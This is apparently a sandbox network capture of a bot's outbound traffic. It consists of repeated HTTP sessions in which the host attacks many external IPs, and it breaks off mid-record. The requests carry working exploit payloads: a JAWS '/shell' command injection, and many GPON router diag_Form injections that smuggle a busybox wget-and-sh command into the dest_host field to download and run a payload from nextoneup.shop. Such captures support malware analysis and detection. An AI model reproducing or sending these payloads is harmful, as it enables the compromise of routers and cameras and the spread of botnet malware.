Apr 14, 2024 04:00:33.594666958 CEST	799	IN	HTTP/1.1 404 Not Found Date: Sat, 13 Apr 2024 21:01:52 GMT Cache-Control: no-cache,no-store Content-Type: text/html; charset=%s X-XSS-Protection: 1 X-Content-Type-Options: 'nosniff' X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self';default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline' Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 0a 3c 68 74 6d 6c 3e 0a 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 0a 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 63 63 39 39 39 39 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 0a 20 20 20 20 3c 68 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 09 09 09 3c 2f 70 72 65 3e 0a 09 09 0a 09 09 09 3c 68 72 3e 0a 09 09 20 20 3c 2f 62 6f 64 79 3e 0a 09 09 0a 09 09 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html> <head> <meta http-equiv="Content-type" content="text/html;charset=UTF-8"> <title>404 Not Found</title> </head> <body bgcolor="#cc9999" text="#000000" link="#2020ff" vlink="#4040cc"> <h4>404 Not Found</h4>File not found.</pre><hr> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1254	192.168.2.23	55714	78.4.115.21	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.276664019 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.23	58732	91.201.55.87	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.305713892 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.23	46830	212.158.234.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389451027 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.23	58944	117.162.14.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389507055 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.23	52834	2.133.38.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389548063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.23	47498	37.92.146.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389605045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.23	55798	117.21.84.140	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389636040 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.23	44890	212.207.154.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389667988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1262	192.168.2.23	44976	148.226.212.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389702082 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1263	192.168.2.23	42306	212.228.159.10	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389751911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1264	192.168.2.23	33204	109.171.95.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389799118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1265	192.168.2.23	51750	178.106.150.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389830112 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1266	192.168.2.23	52400	123.148.190.60	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389911890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1267	192.168.2.23	51816	118.28.98.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389945030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1268	192.168.2.23	42628	94.133.57.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.389985085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1269	192.168.2.23	53766	148.115.25.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390028954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1270	192.168.2.23	41990	118.240.80.199	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390068054 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1271	192.168.2.23	45024	94.14.243.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390116930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1272	192.168.2.23	41076	210.209.54.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390172958 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1273	192.168.2.23	32972	37.32.97.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390198946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1274	192.168.2.23	46846	202.21.86.110	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390240908 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1275	192.168.2.23	49008	109.201.145.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390280008 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1276	192.168.2.23	53800	118.38.219.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390333891 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1277	192.168.2.23	53976	42.19.14.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:33.390360117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1278	192.168.2.23	49542	212.244.209.14	443

Timestamp	Bytes transferred	Direction	Data
